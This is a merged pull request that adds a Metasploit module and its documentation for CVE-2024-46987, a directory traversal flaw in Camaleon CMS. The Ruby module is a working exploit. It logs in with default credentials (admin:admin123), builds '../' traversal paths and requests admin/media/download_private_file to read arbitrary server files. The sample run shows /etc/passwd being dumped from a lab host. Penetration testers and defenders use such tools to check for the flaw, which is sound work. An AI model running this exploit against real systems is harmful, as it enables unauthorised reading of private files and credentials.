Merge pull request #21122 from bootstrapbool/camaleon_cms_cve_2024_46987
Camaleon CMS CVE 2024 46987
This commit is contained in:
@@ -0,0 +1,216 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module attempts to read files from an authenticated directory traversal vuln in Camaleon CMS versions <= 2.8.0 and version 2.9.0.
|
||||
|
||||
CVE-2024-46987 mistakenly indicates that versions 2.8.1 and 2.8.2 are also vulnerable, however this is not the case.
|
||||
|
||||
## Setup
|
||||
|
||||
See [Camaleon CMS](https://github.com/owen2345/camaleon-cms) documentation.
|
||||
|
||||
The following describes how to setup Camaleon CMS version 2.8.0 on Ubuntu.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Rails 6.1+
|
||||
- PostgreSQL, MySQL 5+ or SQlite
|
||||
- Ruby 3.0+
|
||||
- Imagemagick
|
||||
|
||||
### Install Ruby
|
||||
|
||||
guides.rubyonrails.org/install_ruby_on_rails.html
|
||||
|
||||
~~~bash
|
||||
sudo apt install build-essential rustc libssl-dev libyaml-dev zlib1g-dev libgmp-dev git curl
|
||||
~~~
|
||||
|
||||
### Install Mise
|
||||
|
||||
~~~bash
|
||||
curl https://mise.run | sh
|
||||
echo "eval \"\$(~/.local/bin/mise activate)\"" >> ~/.bashrc
|
||||
source ~/.bashrc
|
||||
~~~
|
||||
|
||||
### Install Ruby with Mise
|
||||
|
||||
~~~bash
|
||||
$ mise use -g ruby@3.0
|
||||
|
||||
$ ruby --version
|
||||
ruby 3.0.7p220 ...
|
||||
~~~
|
||||
|
||||
### Install Imagemagick
|
||||
|
||||
~~~bash
|
||||
sudo apt install --no-install-recommends imagemagick
|
||||
~~~
|
||||
|
||||
### Install Postgresql
|
||||
|
||||
~~~bash
|
||||
sudo apt install postgresql
|
||||
~~~
|
||||
|
||||
### Install Rails
|
||||
|
||||
~~~bash
|
||||
$ gem install rails -v 6.1
|
||||
~~~
|
||||
|
||||
#### concurrent-ruby Issue
|
||||
|
||||
Downgrade concurrent-ruby to 1.3.4
|
||||
|
||||
~~~bash
|
||||
$ gem list concurrent-ruby
|
||||
concurrent-ruby (1.3.6)
|
||||
|
||||
$ gem install concurrent-ruby -v 1.3.4
|
||||
$ gem uninstall concurrent-ruby -v 1.3.6
|
||||
|
||||
$ rails --version
|
||||
Rails 6.1.7.10
|
||||
~~~
|
||||
|
||||
### Create Rails Project
|
||||
|
||||
Run `rails new camaleon_project`
|
||||
|
||||
### Gemfile
|
||||
|
||||
In your Gemfile do the following:
|
||||
|
||||
Replace `gem 'spring'` with `gem 'spring', '4.2.1'`
|
||||
|
||||
|
||||
Delete this line to prevent [conflict](https://github.com/owen2345/camaleon-cms/issues/1111): `gem 'sass-rails', '>= 6'`
|
||||
|
||||
Put these lines at the bottom of your Gemfile:
|
||||
|
||||
~~~
|
||||
gem 'camaleon_cms', '2.8.0'
|
||||
gem 'concurrent-ruby', '1.3.4'
|
||||
~~~
|
||||
|
||||
### Install Bundle
|
||||
|
||||
From the project directory run `bundle install`
|
||||
|
||||
### Webpacker.yml Issue
|
||||
|
||||
~~~bash
|
||||
wget -O camaleon_project/config/webpacker.yml https://raw.githubusercontent.com/rails/webpacker/master/lib/install/config/webpacker.yml
|
||||
~~~
|
||||
|
||||
### Camaleon CMS Installation
|
||||
|
||||
~~~bash
|
||||
rails generate camaleon_cms:install
|
||||
rake camaleon_cms:generate_migrations
|
||||
rake db:migrate
|
||||
~~~
|
||||
|
||||
### Run Rails
|
||||
|
||||
~~~bash
|
||||
bundle exec rails server -b 0.0.0.0
|
||||
~~~
|
||||
|
||||
Navigate to `http://{ip address}:3000` and enter test under the Name field.
|
||||
|
||||
### Setup Server
|
||||
|
||||
When prompted with the new installation page just enter "test" into the Name field and continue.
|
||||
|
||||
#### Create Unprivileged User (Optional)
|
||||
|
||||
Navigate to `http://{ip address}:3000/admin` - login with the default admin credentials "admin:admin123"
|
||||
|
||||
Then navigate to "Users -> + Add User" and fill out the form.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: `use auxiliary/gather/camaleon_download_private_file`
|
||||
2. Do: `set RHOST [IP]`
|
||||
3. Do: `run`
|
||||
|
||||
## Options
|
||||
|
||||
### FILEPATH
|
||||
|
||||
The filepath of the file to read.
|
||||
|
||||
### DEPTH
|
||||
|
||||
The number of "../" appended to the filename. Default is 13
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/camaleon_download_private_file
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set rhost 10.0.0.45
|
||||
rhost => 10.0.0.45
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set rport 3000
|
||||
rport => 3000
|
||||
msf auxiliary(gather/camaleon_download_private_file) > set ssl false
|
||||
ssl => false
|
||||
msf auxiliary(gather/camaleon_download_private_file) > run
|
||||
[*] Running module against 10.0.0.45
|
||||
[+] /etc/passwd stored as '/home/kali/.msf4/loot/20260411192711_default_10.0.0.45_camaleon.travers_926890.txt'
|
||||
|
||||
root:x:0:0:root:/root:/bin/bash
|
||||
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
bin:x:2:2:bin:/bin:/usr/sbin/nologin
|
||||
sys:x:3:3:sys:/dev:/usr/sbin/nologin
|
||||
sync:x:4:65534:sync:/bin:/bin/sync
|
||||
games:x:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
|
||||
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
|
||||
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
|
||||
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
|
||||
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
|
||||
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
|
||||
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
|
||||
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
|
||||
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
|
||||
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
|
||||
usbmux:x:104:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
|
||||
tss:x:105:105:TPM software stack,,,:/var/lib/tpm:/bin/false
|
||||
systemd-oom:x:990:990:systemd Userspace OOM Killer:/:/usr/sbin/nologin
|
||||
kernoops:x:106:65534:Kernel Oops Tracking Daemon,,,:/:/usr/sbin/nologin
|
||||
whoopsie:x:107:109::/nonexistent:/bin/false
|
||||
dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin
|
||||
avahi:x:108:111:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
|
||||
tcpdump:x:109:112::/nonexistent:/usr/sbin/nologin
|
||||
sssd:x:110:113:SSSD system user,,,:/var/lib/sss:/usr/sbin/nologin
|
||||
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
|
||||
cups-pk-helper:x:112:114:user for cups-pk-helper service,,,:/nonexistent:/usr/sbin/nologin
|
||||
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
|
||||
saned:x:113:116::/var/lib/saned:/usr/sbin/nologin
|
||||
geoclue:x:114:117::/var/lib/geoclue:/usr/sbin/nologin
|
||||
cups-browsed:x:115:114::/nonexistent:/usr/sbin/nologin
|
||||
hplip:x:116:7:HPLIP system user,,,:/run/hplip:/bin/false
|
||||
gnome-remote-desktop:x:988:988:GNOME Remote Desktop:/var/lib/gnome-remote-desktop:/usr/sbin/nologin
|
||||
polkitd:x:987:987:User for polkitd:/:/usr/sbin/nologin
|
||||
rtkit:x:117:119:RealtimeKit,,,:/proc:/usr/sbin/nologin
|
||||
colord:x:118:120:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
|
||||
gnome-initial-setup:x:119:65534::/run/gnome-initial-setup/:/bin/false
|
||||
gdm:x:120:121:Gnome Display Manager:/var/lib/gdm3:/bin/false
|
||||
nm-openvpn:x:121:122:NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
|
||||
bittman:x:1000:1000:bittman:/home/bittman:/bin/bash
|
||||
postgres:x:122:124:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,239 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Camaleon CMS Directory Traversal CVE-2024-46987',
|
||||
'Description' => %q{
|
||||
Exploits CVE-2024-46987, an authenticated directory traversal
|
||||
vulnerability in Camaleon CMS versions <= 2.8.0 and 2.9.0
|
||||
},
|
||||
'Author' => [
|
||||
'Peter Stockli', # Vulnerability Disclosure
|
||||
'Goultarde', # Python Script
|
||||
'bootstrapbool', # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Privileged' => true,
|
||||
'Platform' => 'linux',
|
||||
'References' => [
|
||||
['CVE', '2024-46987'],
|
||||
[
|
||||
'URL', # Advisory
|
||||
'https://securitylab.github.com/advisories/GHSL-2024-182_GHSL-2024-186_Camaleon_CMS/'
|
||||
],
|
||||
[
|
||||
'URL', # Python Script
|
||||
'https://github.com/Goultarde/CVE-2024-46987'
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => '2024-08-08',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [true, 'Valid username', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'Valid password', 'admin123']),
|
||||
OptString.new('FILEPATH', [true, 'The path to the file to read', '/etc/passwd']),
|
||||
OptString.new('TARGETURI', [false, 'The Camaleon CMS base path']),
|
||||
OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ]),
|
||||
OptBool.new('STORE_LOOT', [false, 'Store the target file as loot', true])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def build_traversal_path(filepath, depth)
|
||||
if depth == 0
|
||||
return filepath
|
||||
end
|
||||
|
||||
# Remove C:\ prefix if present (path traversal doesn't work with drive letters)
|
||||
normalized_path = filepath.gsub(/^[A-Z]:\\/, '').gsub(/^[A-Z]:/, '')
|
||||
|
||||
traversal = '../' * depth
|
||||
|
||||
if normalized_path[0] == '/'
|
||||
return "#{traversal[0..-2]}#{normalized_path}"
|
||||
end
|
||||
|
||||
"#{traversal}#{normalized_path}"
|
||||
end
|
||||
|
||||
def get_token(login_uri)
|
||||
res = send_request_cgi({ 'uri' => login_uri, 'keep_cookies' => true })
|
||||
|
||||
return nil unless res && res.code == 200
|
||||
|
||||
match = res.body.match(/name="authenticity_token" value="([^"]+)"/)
|
||||
|
||||
return match ? match[1] : nil
|
||||
end
|
||||
|
||||
def authenticate(username, password)
|
||||
login_uri = normalize_uri(target_uri.path, 'admin/login')
|
||||
|
||||
vprint_status("Retrieving token from #{login_uri}")
|
||||
|
||||
token = get_token(login_uri)
|
||||
|
||||
if token.nil? || cookie_jar.empty?
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to retrieve token')
|
||||
end
|
||||
|
||||
vprint_status("Retrieved token #{token}")
|
||||
vprint_status("Authenticating to #{login_uri}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => login_uri,
|
||||
'keep_cookies' => true,
|
||||
'vars_post' => {
|
||||
'authenticity_token' => token,
|
||||
'user[username]' => username,
|
||||
'user[password]' => password
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 302
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
|
||||
)
|
||||
|
||||
if res.body.downcase.include?('logout')
|
||||
vprint_status('Authentication succeeded')
|
||||
return
|
||||
end
|
||||
|
||||
fail_with(Failure::NoAccess, 'Authentication failed')
|
||||
end
|
||||
|
||||
def get_version
|
||||
vprint_status('Attempting to get build number')
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'admin/dashboard')
|
||||
)
|
||||
|
||||
return nil unless res && res.code == 200
|
||||
|
||||
html = res.get_html_document
|
||||
|
||||
version_div = html.css('div.pull-right').find do |div|
|
||||
div.at_css('b') && div.at_css('b').text.strip == 'Version'
|
||||
end
|
||||
|
||||
if version_div
|
||||
match = version_div.text.strip.match(/Version\s*(\S+)/)
|
||||
return match[1] if match
|
||||
end
|
||||
end
|
||||
|
||||
def vuln_version?(version)
|
||||
print_status("Detected build version is #{version}")
|
||||
|
||||
if version == '2.9.0' || Rex::Version.new(version) < Rex::Version.new('2.8.1')
|
||||
print_status('Version is vulnerable')
|
||||
return true
|
||||
end
|
||||
|
||||
print_warning('Version is not vulnerable')
|
||||
false
|
||||
end
|
||||
|
||||
def get_file(filepath)
|
||||
filepath = build_traversal_path(filepath, datastore['DEPTH'])
|
||||
|
||||
lfi_uri = normalize_uri(
|
||||
target_uri.path,
|
||||
'admin/media/download_private_file'
|
||||
)
|
||||
|
||||
vprint_status("Attempting to retrieve file #{filepath} from #{lfi_uri}")
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => lfi_uri,
|
||||
'vars_get' => {
|
||||
'file' => filepath
|
||||
},
|
||||
'encode_params' => false
|
||||
})
|
||||
|
||||
if res
|
||||
if res.code == 404
|
||||
return nil
|
||||
end
|
||||
|
||||
if res.body.downcase.include?('invalid file')
|
||||
return nil
|
||||
end
|
||||
|
||||
vprint_good('Successfully retrieved file')
|
||||
return res.body
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
cookie_jar.clear
|
||||
|
||||
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
res = get_file(datastore['FILEPATH'])
|
||||
|
||||
if res.nil? || res == false || !res.is_a?(String)
|
||||
fail_with(Failure::PayloadFailed, 'Failed to obtain file')
|
||||
end
|
||||
|
||||
if datastore['STORE_LOOT']
|
||||
path = store_loot(
|
||||
'camaleon.traversal',
|
||||
'text/plain',
|
||||
datastore['RHOST'],
|
||||
res,
|
||||
datastore['FILEPATH']
|
||||
)
|
||||
print_good("#{datastore['FILEPATH']} stored as '#{path}'")
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(res)
|
||||
end
|
||||
|
||||
def check
|
||||
cookie_jar.clear
|
||||
|
||||
authenticate(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
version = get_version
|
||||
|
||||
if version.nil?
|
||||
return Exploit::CheckCode::Unknown('Failed to get build version')
|
||||
elsif vuln_version?(version) != true
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
res = get_file(datastore['FILEPATH'])
|
||||
|
||||
if res.nil? || res == false || !res.is_a?(String)
|
||||
print_error('Failed to obtain file')
|
||||
return Exploit::CheckCode::Appears
|
||||
end
|
||||
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user